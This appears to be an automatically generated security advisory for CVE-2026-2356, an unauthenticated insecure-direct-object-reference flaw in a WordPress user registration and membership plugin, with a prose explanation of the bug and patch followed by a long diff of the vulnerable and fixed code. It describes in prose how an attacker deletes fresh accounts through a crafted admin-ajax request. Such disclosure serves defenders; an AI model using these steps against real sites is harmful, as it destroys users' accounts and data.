Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-2356: User Registration & Membership <= 5.1.2 – Insecure Direct Object Reference to Unauthenticated Limited User Deletion (user-registration)

CVE ID CVE-2026-2356
Severity Medium (CVSS 5.3)
CWE 284
Vulnerable Version 5.1.2
Patched Version 5.1.3
Disclosed February 24, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-2356:
This vulnerability is an Insecure Direct Object Reference (IDOR) in the User Registration & Membership WordPress plugin versions up to and including 5.1.2. The flaw allows unauthenticated attackers to delete arbitrary user accounts that have recently registered and possess the ‘urm_user_just_created’ user meta flag. The vulnerability resides in the plugin’s membership registration functionality and receives a CVSS score of 5.3 (Medium severity).

The root cause is insufficient authorization and validation in the ‘register_member’ AJAX handler. The vulnerable code in the plugin’s membership module (likely within /modules/membership/includes/AJAX.php) processes a ‘member_id’ parameter supplied by the user without verifying the requester’s right to delete that specific user. Atomic Edge research indicates the function accepts this user-controlled identifier and passes it directly to wp_delete_user() or a similar deletion routine. The code lacks checks to ensure the requesting user owns the account or possesses administrative privileges.

Exploitation requires an attacker to send a crafted POST request to the WordPress admin-ajax.php endpoint with the action parameter set to ‘register_member’. The request must include a ‘member_id’ parameter containing the numeric ID of a target user who has the ‘urm_user_just_created’ meta key set to ‘yes’. Attackers can enumerate user IDs or target known new registrations. No authentication or nonce is required, making the attack accessible to completely unauthenticated individuals.

The patch addresses the vulnerability by implementing a cryptographic verification mechanism for the ‘urm_user_just_created’ meta value. In the patched version within /includes/frontend/class-ur-frontend-form-handler.php, the plugin now stores a hash of the user ID combined with the WordPress salt instead of a simple ‘yes’ string. Before deletion, the code verifies the submitted hash matches the expected value for the given user ID. This change prevents attackers from guessing or spoofing the required meta condition. Additional cleanup logic deletes the meta after successful auto-login.

Successful exploitation results in the permanent deletion of user accounts. Attackers can disrupt site operations by removing newly registered users, potentially causing denial of service for legitimate users or erasing user data. The vulnerability specifically affects users in a transient post-registration state, limiting its scope but creating a reliable attack window against fresh accounts.

Differential between vulnerable and patched code

Code Diff
--- a/user-registration/chunks/analytics.asset.php
+++ b/user-registration/chunks/analytics.asset.php
@@ -1 +0,0 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-i18n'), 'version' => '06d415d07a8adb835583');
--- a/user-registration/chunks/blocks.asset.php
+++ b/user-registration/chunks/blocks.asset.php
@@ -1 +0,0 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-primitives', 'wp-server-side-render'), 'version' => '0daf06e249724400ad37');
--- a/user-registration/chunks/content-access-rules.asset.php
+++ b/user-registration/chunks/content-access-rules.asset.php
@@ -1 +0,0 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-element', 'wp-i18n'), 'version' => '3062c7222eea20d25b64');
--- a/user-registration/chunks/dashboard.asset.php
+++ b/user-registration/chunks/dashboard.asset.php
@@ -1 +0,0 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-data', 'wp-element', 'wp-i18n'), 'version' => 'b3ad757068ff7212280e');
--- a/user-registration/chunks/divi-builder.asset.php
+++ b/user-registration/chunks/divi-builder.asset.php
@@ -1 +0,0 @@
-<?php return array('dependencies' => array('react', 'react-jsx-runtime'), 'version' => '5390382781ce3d42d976');
--- a/user-registration/chunks/form_templates.asset.php
+++ b/user-registration/chunks/form_templates.asset.php
@@ -1 +0,0 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-i18n'), 'version' => 'a9b7d2ef2d8943b73480');
--- a/user-registration/chunks/formblock.asset.php
+++ b/user-registration/chunks/formblock.asset.php
@@ -1 +0,0 @@
-<?php return array('dependencies' => array('react', 'react-jsx-runtime'), 'version' => '1d1b30bdd376f22e508c');
--- a/user-registration/chunks/welcome.asset.php
+++ b/user-registration/chunks/welcome.asset.php
@@ -1 +0,0 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-i18n'), 'version' => '677b2fdf649fe445e048');
--- a/user-registration/includes/Functions/CoreFunctions.php
+++ b/user-registration/includes/Functions/CoreFunctions.php
@@ -88,7 +88,7 @@
 		if ( ! check_ajax_referer( $nonce, 'security' ) ) {
 			wp_send_json_error(
 				array(
-					'message' => __( 'Nonce error please reload.', 'user-registration-membership' ),
+					'message' => __( 'Nonce error please reload.', 'user-registration' ),
 				)
 			);
 		}
@@ -107,7 +107,7 @@

 		$currencies = array(
 			'USD' => array(
-				'name'                => esc_html__( 'U.S. Dollar', 'user-registration-membership' ),
+				'name'                => esc_html__( 'U.S. Dollar', 'user-registration' ),
 				'symbol'              => '$',
 				'symbol_pos'          => 'left',
 				'thousands_separator' => ',',
@@ -115,7 +115,7 @@
 				'decimals'            => 2,
 			),
 			'GBP' => array(
-				'name'                => esc_html__( 'Pound Sterling', 'user-registration-membership' ),
+				'name'                => esc_html__( 'Pound Sterling', 'user-registration' ),
 				'symbol'              => '£',
 				'symbol_pos'          => 'left',
 				'thousands_separator' => ',',
@@ -123,7 +123,7 @@
 				'decimals'            => 2,
 			),
 			'EUR' => array(
-				'name'                => esc_html__( 'Euro', 'user-registration-membership' ),
+				'name'                => esc_html__( 'Euro', 'user-registration' ),
 				'symbol'              => '€',
 				'symbol_pos'          => 'right',
 				'thousands_separator' => '.',
@@ -131,7 +131,7 @@
 				'decimals'            => 2,
 			),
 			'AUD' => array(
-				'name'                => esc_html__( 'Australian Dollar', 'user-registration-membership' ),
+				'name'                => esc_html__( 'Australian Dollar', 'user-registration' ),
 				'symbol'              => '$',
 				'symbol_pos'          => 'left',
 				'thousands_separator' => ',',
@@ -139,7 +139,7 @@
 				'decimals'            => 2,
 			),
 			'BRL' => array(
-				'name'                => esc_html__( 'Brazilian Real', 'user-registration-membership' ),
+				'name'                => esc_html__( 'Brazilian Real', 'user-registration' ),
 				'symbol'              => 'R$',
 				'symbol_pos'          => 'left',
 				'thousands_separator' => '.',
@@ -147,7 +147,7 @@
 				'decimals'            => 2,
 			),
 			'CAD' => array(
-				'name'                => esc_html__( 'Canadian Dollar', 'user-registration-membership' ),
+				'name'                => esc_html__( 'Canadian Dollar', 'user-registration' ),
 				'symbol'              => '$',
 				'symbol_pos'          => 'left',
 				'thousands_separator' => ',',
@@ -155,7 +155,7 @@
 				'decimals'            => 2,
 			),
 			'CZK' => array(
-				'name'                => esc_html__( 'Czech Koruna', 'user-registration-membership' ),
+				'name'                => esc_html__( 'Czech Koruna', 'user-registration' ),
 				'symbol'              => 'Kč',
 				'symbol_pos'          => 'right',
 				'thousands_separator' => '.',
@@ -163,7 +163,7 @@
 				'decimals'            => 2,
 			),
 			'DKK' => array(
-				'name'                => esc_html__( 'Danish Krone', 'user-registration-membership' ),
+				'name'                => esc_html__( 'Danish Krone', 'user-registration' ),
 				'symbol'              => 'kr.',
 				'symbol_pos'          => 'right',
 				'thousands_separator' => '.',
@@ -171,7 +171,7 @@
 				'decimals'            => 2,
 			),
 			'HKD' => array(
-				'name'                => esc_html__( 'Hong Kong Dollar', 'user-registration-membership' ),
+				'name'                => esc_html__( 'Hong Kong Dollar', 'user-registration' ),
 				'symbol'              => '$',
 				'symbol_pos'          => 'right',
 				'thousands_separator' => ',',
@@ -179,7 +179,7 @@
 				'decimals'            => 2,
 			),
 			'HUF' => array(
-				'name'                => esc_html__( 'Hungarian Forint', 'user-registration-membership' ),
+				'name'                => esc_html__( 'Hungarian Forint', 'user-registration' ),
 				'symbol'              => 'Ft',
 				'symbol_pos'          => 'right',
 				'thousands_separator' => '.',
@@ -187,7 +187,7 @@
 				'decimals'            => 2,
 			),
 			'ILS' => array(
-				'name'                => esc_html__( 'Israeli New Sheqel', 'user-registration-membership' ),
+				'name'                => esc_html__( 'Israeli New Sheqel', 'user-registration' ),
 				'symbol'              => '₪',
 				'symbol_pos'          => 'left',
 				'thousands_separator' => ',',
@@ -195,7 +195,7 @@
 				'decimals'            => 2,
 			),
 			'MYR' => array(
-				'name'                => esc_html__( 'Malaysian Ringgit', 'user-registration-membership' ),
+				'name'                => esc_html__( 'Malaysian Ringgit', 'user-registration' ),
 				'symbol'              => 'RM',
 				'symbol_pos'          => 'left',
 				'thousands_separator' => ',',
@@ -203,7 +203,7 @@
 				'decimals'            => 2,
 			),
 			'MXN' => array(
-				'name'                => esc_html__( 'Mexican Peso', 'user-registration-membership' ),
+				'name'                => esc_html__( 'Mexican Peso', 'user-registration' ),
 				'symbol'              => '$',
 				'symbol_pos'          => 'left',
 				'thousands_separator' => ',',
@@ -211,7 +211,7 @@
 				'decimals'            => 2,
 			),
 			'NOK' => array(
-				'name'                => esc_html__( 'Norwegian Krone', 'user-registration-membership' ),
+				'name'                => esc_html__( 'Norwegian Krone', 'user-registration' ),
 				'symbol'              => 'Kr',
 				'symbol_pos'          => 'left',
 				'thousands_separator' => '.',
@@ -219,7 +219,7 @@
 				'decimals'            => 2,
 			),
 			'NZD' => array(
-				'name'                => esc_html__( 'New Zealand Dollar', 'user-registration-membership' ),
+				'name'                => esc_html__( 'New Zealand Dollar', 'user-registration' ),
 				'symbol'              => '$',
 				'symbol_pos'          => 'left',
 				'thousands_separator' => ',',
@@ -227,7 +227,7 @@
 				'decimals'            => 2,
 			),
 			'PHP' => array(
-				'name'                => esc_html__( 'Philippine Peso', 'user-registration-membership' ),
+				'name'                => esc_html__( 'Philippine Peso', 'user-registration' ),
 				'symbol'              => 'Php',
 				'symbol_pos'          => 'left',
 				'thousands_separator' => ',',
@@ -235,7 +235,7 @@
 				'decimals'            => 2,
 			),
 			'PLN' => array(
-				'name'                => esc_html__( 'Polish Zloty', 'user-registration-membership' ),
+				'name'                => esc_html__( 'Polish Zloty', 'user-registration' ),
 				'symbol'              => 'zł',
 				'symbol_pos'          => 'left',
 				'thousands_separator' => '.',
@@ -243,7 +243,7 @@
 				'decimals'            => 2,
 			),
 			'RUB' => array(
-				'name'                => esc_html__( 'Russian Ruble', 'user-registration-membership' ),
+				'name'                => esc_html__( 'Russian Ruble', 'user-registration' ),
 				'symbol'              => 'pyб',
 				'symbol_pos'          => 'right',
 				'thousands_separator' => ' ',
@@ -251,7 +251,7 @@
 				'decimals'            => 2,
 			),
 			'SGD' => array(
-				'name'                => esc_html__( 'Singapore Dollar', 'user-registration-membership' ),
+				'name'                => esc_html__( 'Singapore Dollar', 'user-registration' ),
 				'symbol'              => '$',
 				'symbol_pos'          => 'left',
 				'thousands_separator' => ',',
@@ -259,7 +259,7 @@
 				'decimals'            => 2,
 			),
 			'ZAR' => array(
-				'name'                => esc_html__( 'South African Rand', 'user-registration-membership' ),
+				'name'                => esc_html__( 'South African Rand', 'user-registration' ),
 				'symbol'              => 'R',
 				'symbol_pos'          => 'left',
 				'thousands_separator' => ',',
@@ -267,7 +267,7 @@
 				'decimals'            => 2,
 			),
 			'SEK' => array(
-				'name'                => esc_html__( 'Swedish Krona', 'user-registration-membership' ),
+				'name'                => esc_html__( 'Swedish Krona', 'user-registration' ),
 				'symbol'              => 'Kr',
 				'symbol_pos'          => 'right',
 				'thousands_separator' => '.',
@@ -275,7 +275,7 @@
 				'decimals'            => 2,
 			),
 			'CHF' => array(
-				'name'                => esc_html__( 'Swiss Franc', 'user-registration-membership' ),
+				'name'                => esc_html__( 'Swiss Franc', 'user-registration' ),
 				'symbol'              => 'CHF',
 				'symbol_pos'          => 'left',
 				'thousands_separator' => ',',
@@ -283,7 +283,7 @@
 				'decimals'            => 2,
 			),
 			'TWD' => array(
-				'name'                => esc_html__( 'Taiwan New Dollar', 'user-registration-membership' ),
+				'name'                => esc_html__( 'Taiwan New Dollar', 'user-registration' ),
 				'symbol'              => '$',
 				'symbol_pos'          => 'left',
 				'thousands_separator' => ',',
@@ -291,7 +291,7 @@
 				'decimals'            => 2,
 			),
 			'THB' => array(
-				'name'                => esc_html__( 'Thai Baht', 'user-registration-membership' ),
+				'name'                => esc_html__( 'Thai Baht', 'user-registration' ),
 				'symbol'              => '฿',
 				'symbol_pos'          => 'left',
 				'thousands_separator' => ',',
--- a/user-registration/includes/RestApi/controllers/version1/class-ur-form-templates.php
+++ b/user-registration/includes/RestApi/controllers/version1/class-ur-form-templates.php
@@ -92,7 +92,7 @@
 		if ( isset( $query_params['refresh'] ) ) {
 			delete_transient( 'user_registration_templates_data' );
 		}
-		$template_url      = 'https://d13ue4sfmuf7fw.cloudfront.net/';
+		$template_url      = 'https://assets.wpeverest.com/wpuserregistration/forms/';
 		$template_json_url = $template_url . 'templates1.json';

 		$transient_key    = 'user_registration_templates_data';
--- a/user-registration/includes/RestApi/controllers/version1/class-ur-getting-started.php
+++ b/user-registration/includes/RestApi/controllers/version1/class-ur-getting-started.php
@@ -1061,6 +1061,7 @@
 		$meta = array(
 			'payment_gateways' => array(),
 			'amount'           => $amount,
+			'role'             => 'subscriber',
 		);

 		if ( 'free' === $type_input ) {
--- a/user-registration/includes/admin/class-ur-admin-assets.php
+++ b/user-registration/includes/admin/class-ur-admin-assets.php
@@ -380,6 +380,7 @@
 				'form_one_time_draggable_fields_locked_message' => esc_html__( '%field% field can be used only one time in the form.', 'user-registration' ),
 				'form_membership_payment_fields_disabled_message' => esc_html__( 'Payment fields cannot be used alongside the membership field.', 'user-registration' ),
 				'form_membership_field_disabled_message'   => esc_html__( 'Membership field cannot be used alongside the payment fields.', 'user-registration' ),
+				'form_has_membership_available'             => function_exists( 'ur_has_membership_available' ) ? ur_has_membership_available() : false,
 				/* translators: %field%: Field Text */
 				'form_membership_payment_settings_disabled_title' => esc_html__( '%field% setting is disabled.', 'user-registration' ),
 				'form_membership_payment_settings_disabled_message' => esc_html__( 'Payment setting is not available when membership field is present in the form.', 'user-registration' ),
@@ -421,7 +422,7 @@
 				'ur_assets_url'                            => UR()->plugin_url() . '/assets/',
 				'i18n_prompt_no_membership_group_selected' => __( 'Membership Field requires a membership group to be selected.', 'user-registration' ),
 				'i18n_default_redirection_notice_for_membership' => esc_html__( 'If the form includes a membership field, users will be redirected to the membership thank you page after submission.', 'user-registration' ),
-				'i18n_email_confirmation_disabled_notice'  => esc_html__( 'If email confirmation is not enabled in email settings, users will not receive a confirmation email when this login option is selected.', 'user_registration' ),
+				'i18n_email_confirmation_disabled_notice'  => esc_html__( 'If email confirmation is not enabled in email settings, users will not receive a confirmation email when this login option is selected.', 'user-registration' ),
 				'email_confirmation_disabled'              => ur_string_to_bool( get_option( 'user_registration_enable_email_confirmation', true ) ) ? 'no' : 'yes',
 				'form_has_membership_field'                => check_membership_field_in_form( $form_id ),
 				'paypal_settings'                          => array(
--- a/user-registration/includes/admin/class-ur-admin-form-templates.php
+++ b/user-registration/includes/admin/class-ur-admin-form-templates.php
@@ -37,7 +37,7 @@
 	public static function get_template_data() {
 		$template_data = get_transient( 'user_registration_templates_data' );

-		$template_url = 'https://d13ue4sfmuf7fw.cloudfront.net/';
+		$template_url = 'https://assets.wpeverest.com/wpuserregistration/forms/';

 		if ( false === $template_data ) {

--- a/user-registration/includes/admin/class-ur-admin.php
+++ b/user-registration/includes/admin/class-ur-admin.php
@@ -574,7 +574,7 @@

 			if ( 'ur-template-refresh' === $action && ! empty( $templates ) ) {
 				if ( empty( $_GET['ur-template-nonce'] ) || ! wp_verify_nonce( sanitize_key( wp_unslash( $_GET['ur-template-nonce'] ) ), 'refresh' ) ) {
-					wp_die( esc_html_e( 'Could not verify nonce', 'user-registration' ) );
+					wp_die( esc_html__( 'Could not verify nonce', 'user-registration' ) );
 				}

 				foreach ( array( 'ur_pro_license_plan', 'ur_template_section_list' ) as $transient ) {
--- a/user-registration/includes/admin/settings/class-ur-settings-license.php
+++ b/user-registration/includes/admin/settings/class-ur-settings-license.php
@@ -82,7 +82,7 @@
 					$settings['sections']['license_options_settings']['desc'] = '';
 					$settings['sections']['license_options_settings']['before_desc'] = wp_kses_post( '<div class="urm_license_setting_notice urm_install_pro_notice"><h3><span class="dashicons dashicons-info-outline notice-icon"></span>' . __('Complete Your Pro Setup', 'user-registration' ) . '</h3><p>' . __('Your license is activated, but User Registration & Membership pro plugin needs to be installed to unlock all features. This is a one-time setup that takes less than a minute.', 'user-registration' ) . '</p><button class="button install_pro_version_button">' . __( 'Install Pro Version', 'user-registration' ) . '</button></div>');
 				} else {
-					$settings[ 'sections' ][ 'license_options_settings' ][ 'before_desc' ] = __( 'You're currently using the free version of User Registration & Membership.<br>You can continue using all free features without any limitations.<br><br>Want more? <a target="_blank" href="' . esc_url( 'https://wpuserregistration.com/upgrade/?utm_source=ur-license-setting&utm_medium=upgrade-link&utm_campaign=' . UR()->utm_campaign ) . '">Upgrade to Pro</a> to unlock advanced features and premium support.<br>Already purchased Pro? Enter your license key below and we'll automatically upgrade you to Pro.', 'user-registration' );
+					$settings[ 'sections' ][ 'license_options_settings' ][ 'before_desc' ] = sprintf( __( 'You're currently using the free version of User Registration & Membership.<br>You can continue using all free features without any limitations.<br><br>Want more? <a target="_blank" href="%s">Upgrade to Pro</a> to unlock advanced features and premium support.<br>Already purchased Pro? Enter your license key below and we'll automatically upgrade you to Pro.', 'user-registration' ), esc_url( 'https://wpuserregistration.com/upgrade/?utm_source=ur-license-setting&utm_medium=upgrade-link&utm_campaign=' . UR()->utm_campaign ) );
 				}
 			} else {
 				if ( get_option( 'user-registration_license_key' ) ) {
--- a/user-registration/includes/admin/settings/class-ur-users-menu.php
+++ b/user-registration/includes/admin/settings/class-ur-users-menu.php
@@ -1631,7 +1631,7 @@
 									$login_option = ur_get_single_post_meta( $form_id, 'user_registration_form_setting_login_options', get_option( 'user_registration_general_setting_login_options', 'default' ) );

 									if ( current_user_can( 'manage_options' ) && $user_id === get_current_user_id() ) {
-										$this->errors[] = new WP_Error( 'edit_users', __( 'Sorry, Admin cannot deny themselves.', 'user_registration' ) );
+										$this->errors[] = new WP_Error( 'edit_users', __( 'Sorry, Admin cannot deny themselves.', 'user-registration' ) );
 										continue;
 									}
 									$user_manager->deny();
--- a/user-registration/includes/admin/views/html-login-page-forms.php
+++ b/user-registration/includes/admin/views/html-login-page-forms.php
@@ -46,7 +46,7 @@
 						</svg>
 						</button>

-						<button  id="ur-view-live-button" class="button button-secondary button-large"><a title="<?php esc_attr_e( sprintf( 'View Live in %s page', $login_page_title ), 'user-registration' ); ?>" href="<?php echo esc_url( add_query_arg( 'ur_login_preview', 'true', $login_page_url) ); ?>" target="_blank" rel="noreferrer noopener"><?php esc_html_e( 'View Live', 'user-registration' ); ?></a></button>
+						<button  id="ur-view-live-button" class="button button-secondary button-large"><a title="<?php echo esc_attr( sprintf( __( 'View Live in %s page', 'user-registration' ), $login_page_title ) ); ?>" href="<?php echo esc_url( add_query_arg( 'ur_login_preview', 'true', $login_page_url) ); ?>" target="_blank" rel="noreferrer noopener"><?php esc_html_e( 'View Live', 'user-registration' ); ?></a></button>
 					<?php else: ?>
 						<button name="create_login_page" data-form_id="<?php esc_attr_e( $login_page_id ) ?>" class="button button-large ur-embed-form-button ur-create-login-page-button" type="button" value="<?php esc_attr_e( 'Create Login Page', 'user-registration' ); ?>" title="<?php esc_attr_e( 'Create Login Page', 'user-registration' ); ?>">+ <?php esc_html_e( 'Create Login Page', 'user-registration' ); ?></button>
 					<?php endif; ?>
--- a/user-registration/includes/class-ur-ajax.php
+++ b/user-registration/includes/class-ur-ajax.php
@@ -1891,7 +1891,7 @@
 		if ( isset( $validate_before_save['status'] ) && ! $validate_before_save['status'] ) {
 			wp_send_json_error(
 				array(
-					'message' => __( $validate_before_save['message'], 'user_registration' ),
+					'message' => __( $validate_before_save['message'], 'user-registration' ),
 				)
 			);
 		}
@@ -1941,7 +1941,7 @@
 		if ( isset( $validate_before_save['status'] ) && ! $validate_before_save['status'] ) {
 			wp_send_json_error(
 				array(
-					'message' => __( $validate_before_save['message'], 'user_registration' ),
+					'message' => __( $validate_before_save['message'], 'user-registration' ),
 				)
 			);
 		}
--- a/user-registration/includes/frontend/class-ur-frontend-form-handler.php
+++ b/user-registration/includes/frontend/class-ur-frontend-form-handler.php
@@ -172,6 +172,7 @@
 					}
 				}
 				elseif ( 'auto_login' === $login_option ) {
+					delete_user_meta( $user_id, 'urm_user_just_created' );
 					wp_clear_auth_cookie();
 					$remember = apply_filters( 'user_registration_autologin_remember_user', false );
 					wp_set_auth_cookie( $user_id, $remember );
@@ -329,7 +330,16 @@
 		$current_language = isset( $_POST['registration_language'] ) ? ur_clean( $_POST['registration_language'] ) : $current_language; //phpcs:ignore.
 		update_user_meta( $user_id, 'ur_registered_language', $current_language );
 		$login_option   = ur_get_user_login_option( $user_id );
-		update_user_meta( $user_id, 'urm_user_just_created', 'yes' );
+
+		if( !empty( $_POST['membership_type'] ) ) {
+			$hash = hash_hmac(
+				'sha256',
+				(string) $user_id,
+				wp_salt( 'auth' )
+			);
+
+			update_user_meta( $user_id, 'urm_user_just_created', $hash );
+		}
 	}
 }

--- a/user-registration/includes/functions-ur-core.php
+++ b/user-registration/includes/functions-ur-core.php
@@ -649,6 +649,30 @@
 }

 /**
+ * Check if membership is available for the form builder (at least one group or one active membership).
+ *
+ * @return bool
+ */
+function ur_has_membership_available() {
+	if ( ! ur_check_module_activation( 'membership' ) ) {
+		return false;
+	}
+	$has_groups = false;
+	if ( class_exists( 'WPEverestURMembershipAdminRepositoriesMembershipGroupRepository' ) ) {
+		$repository = new WPEverestURMembershipAdminRepositoriesMembershipGroupRepository();
+		$groups     = $repository->get_all_membership_groups();
+		$has_groups = ! empty( $groups );
+	}
+	$has_memberships = false;
+	if ( class_exists( 'WPEverestURMembershipAdminServicesMembershipService' ) ) {
+		$service         = new WPEverestURMembershipAdminServicesMembershipService();
+		$memberships     = $service->list_active_memberships();
+		$has_memberships = ! empty( $memberships );
+	}
+	return $has_groups || $has_memberships;
+}
+
+/**
  * Get fields excluding in profile tab
  *
  * @return array
@@ -6363,6 +6387,7 @@
 	 * @since 3.1.5
 	 */
 	function ur_automatic_user_login( $user ) {
+		delete_user_meta( $user->ID, 'urm_user_just_created' );
 		wp_clear_auth_cookie();
 		$remember = apply_filters( 'user_registration_autologin_remember_user', false );
 		wp_set_auth_cookie( $user->ID, $remember );
--- a/user-registration/includes/functions-ur-template.php
+++ b/user-registration/includes/functions-ur-template.php
@@ -1362,9 +1362,7 @@
 			$form_id   = ur_get_form_id_by_userid( $user_id );
 			$user_data = get_userdata( $user_id );
 			$user_data = $user_data->data;
-
 			$form_data_array = ( $form_id ) ? UR()->form->get_form( $form_id, array( 'content_only' => true ) ) : array();
-
 			if ( ! empty( $form_data_array ) ) {
 				// No endpoint found? Default to dashboard.
 				ur_get_template(
--- a/user-registration/includes/log-handlers/RestApi/controllers/version1/class-ur-form-templates.php
+++ b/user-registration/includes/log-handlers/RestApi/controllers/version1/class-ur-form-templates.php
@@ -82,7 +82,7 @@
 		if ( isset( $query_params['refresh'] ) ) {
 			delete_transient( 'user_registration_templates_data' );
 		}
-		$template_url      = 'https://d13ue4sfmuf7fw.cloudfront.net/';
+		$template_url      = 'https://assets.wpeverest.com/wpuserregistration/forms/';
 		$template_json_url = $template_url . 'templates1.json';

 		$transient_key    = 'user_registration_templates_data';
--- a/user-registration/modules/content-restriction/class-urcr-post-types.php
+++ b/user-registration/modules/content-restriction/class-urcr-post-types.php
@@ -56,7 +56,7 @@
 						'menu_name'          => esc_html_x( 'Access Rules', 'Admin menu name', 'user-registration' ),
 						'add_new'            => esc_html__( 'Add content access rule', 'user-registration' ),
 						'add_new_item'       => esc_html__( 'Add new content access rule', 'user-registration' ),
-						'edit'               => esc_html__( 'Edit', 'user-content access rule' ),
+						'edit'               => esc_html__( 'Edit', 'user-registration' ),
 						'edit_item'          => esc_html__( 'Edit content access rule', 'user-registration' ),
 						'new_item'           => esc_html__( 'New content access rule', 'user-registration' ),
 						'view'               => esc_html__( 'View content access rules', 'user-registration' ),
--- a/user-registration/modules/content-restriction/functions-urcr-core.php
+++ b/user-registration/modules/content-restriction/functions-urcr-core.php
@@ -744,18 +744,24 @@

 			$target_post->post_content = $styled_content;

-			add_filter(
-				'elementor/frontend/the_content',
-				function () use ( $styled_content ) {
-					if ( ! urcr_is_elementor_content_restricted() ) {
-						urcr_set_elementor_content_restricted();
+			if( class_exists( 'ElementorPlugin' ) ) {
+				add_filter(
+					'elementor/frontend/the_content',
+					function () use ( $styled_content ) {
+						if ( ! urcr_is_elementor_content_restricted() ) {
+							urcr_set_elementor_content_restricted();
+
+							return $styled_content;
+						}

-						return $styled_content;
+						return '';
 					}
+				);

-					return '';
+				if( $is_whole_site_restriction ) {
+					$target_post->post_content = '';
 				}
-			);
+			}

 			return true;
 		} elseif ( 'redirect' === $action['type'] ) {
@@ -1710,4 +1716,3 @@

 	return ! empty( $posts ) ? json_decode( $posts[0]->post_content, true ) : array();
 }
-
--- a/user-registration/modules/membership/includes/AJAX.php
+++ b/user-registration/modules/membership/includes/AJAX.php
@@ -139,7 +139,6 @@
 			);
 		}
 		if ( empty( $data['payment_method'] ) ) {
-			wp_delete_user( $member_id );
 			wp_send_json_error(
 				array(
 					'message' => __( 'Payment method is required.', 'user-registration' ),
@@ -236,7 +235,6 @@
 		$pg_data       = array();
 		if ( 'free' !== $data['payment_method'] && $response['status'] ) {
 			$payment_service = new PaymentService( $data['payment_method'], $data['membership'], $data['email'] );
-
 			$form_response    = isset( $_POST['form_response'] ) ? (array) json_decode( wp_unslash( $_POST['form_response'] ), true ) : array();
 			$ur_authorize_net = array( 'ur_authorize_net' => ! empty( $form_response['ur_authorize_net'] ) ? $form_response['ur_authorize_net'] : array() );
 			$data             = array_merge( $data, $ur_authorize_net );
@@ -247,7 +245,8 @@

 			if ( ! empty( $form_response ) && isset( $form_response['auto_login'] ) && $form_response['auto_login'] && 'free' == $data['payment_method'] ) {
 				$members_service = new MembersService();
-				$logged_in       = $members_service->login_member( $member_id, true );
+				$password        = isset( $data['password'] ) ? $data['password'] : '';
+				$logged_in       = $members_service->login_member( $member_id, true, $password );
 				if ( ! $logged_in ) {
 					wp_send_json_error(
 						array(
@@ -1102,9 +1101,11 @@
 			}

 			$form_response = isset( $_POST['form_response'] ) ? (array) json_decode( wp_unslash( $_POST['form_response'] ), true ) : array();
+			$data = apply_filters( 'user_registration_membership_before_register_member', isset( $_POST['members_data'] ) ? (array) json_decode( wp_unslash( $_POST['members_data'] ), true ) : array() );
 			if ( ! empty( $form_response ) && isset( $form_response['auto_login'] ) && $payment_status !== 'failed' ) {
 				$members_service = new MembersService();
-				$logged_in       = $members_service->login_member( $member_id, true );
+				$password        = isset( $data['password'] ) ? $data['password'] : '';
+				$logged_in       = $members_service->login_member( $member_id, true, $password );
 				if ( ! $logged_in ) {
 					wp_send_json_error(
 						array(
@@ -1320,9 +1321,11 @@

 			$subscription_is_active = in_array( $subscription_status, array( 'active', 'trialing' ), true );

+			$data = apply_filters( 'user_registration_membership_before_register_member', isset( $_POST['members_data'] ) ? (array) json_decode( wp_unslash( $_POST['members_data'] ), true ) : array() );
+
 			if ( $subscription_is_active && ! empty( $form_response ) && isset( $form_response['auto_login'] ) && $form_response['auto_login'] ) {
 				$members_service = new MembersService();
-				$logged_in       = $members_service->login_member( $member_id, true );
+				$logged_in       = $members_service->login_member( $member_id, true, isset( $data['password'] ) ? $data['password'] : '' );
 				if ( ! $logged_in ) {
 					wp_send_json_error(
 						array(
@@ -2750,6 +2753,16 @@
 	 * Fetch upgrade path for selected memberships in the group.
 	 */
 	public static function fetch_upgrade_path() {
+		ur_membership_verify_nonce( 'ur_membership_group' ); // nonce verification.
+
+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_send_json_error(
+				array(
+					'message' => __( 'Sorry, You do not have permission to set upgrade path.', 'user-registration' ),
+				)
+			);
+		}
+
 		if ( empty( $_POST['membership_ids'] ) ) {
 			wp_send_json_error(
 				array(
@@ -2758,9 +2771,9 @@
 			);
 		}
 		$membership_upgrade_service = new UpgradeMembershipService();
-		$memberships                = isset( $_POST['membership_ids'] ) ? $_POST['membership_ids'] : '';
+		$membership_ids                = isset( $_POST['membership_ids'] ) ? $_POST['membership_ids'] : '';

-		if ( empty( $memberships ) ) {
+		if ( empty( $membership_ids ) ) {
 			return wp_send_json_error(
 				array(
 					'message' => __( 'Please select memberships.', 'user-registration' ),
@@ -2768,10 +2781,10 @@
 			);

 		}
-		$memberships           = implode( ',', $memberships );
+		$membership_ids = array_filter( array_map( 'absint', $membership_ids ) );
 		$membership_repository = new MembershipRepository();

-		$memberships = $membership_repository->get_multiple_membership_by_ID( $memberships, false );
+		$memberships = $membership_repository->get_multiple_membership_by_ID( $membership_ids, false );

 		$upgrade_paths = $membership_upgrade_service->fetch_upgrade_paths( $memberships, 'manual' );

--- a/user-registration/modules/membership/includes/Admin.php
+++ b/user-registration/modules/membership/includes/Admin.php
@@ -488,10 +488,8 @@
 			$installed_version = get_option( 'ur_membership_db_version', '0.0.0' );

 			if ( version_compare( $installed_version, '1.0.0', '<' ) ) {
-				if ( defined( 'UR_PRO_ACTIVE' ) && UR_PRO_ACTIVE ) {
-					self::on_activation();
-					update_option( 'ur_membership_db_version', '1.0.0' );
-				}
+				self::on_activation();
+				update_option( 'ur_membership_db_version', '1.0.0' );
 			}
 		}

--- a/user-registration/modules/membership/includes/Admin/Controllers/MembersController.php
+++ b/user-registration/modules/membership/includes/Admin/Controllers/MembersController.php
@@ -104,7 +104,7 @@
 		if ( $validation['status'] ) {
 			$this->members->wpdb()->query( 'START TRANSACTION' ); // Start the transaction.
 			try {
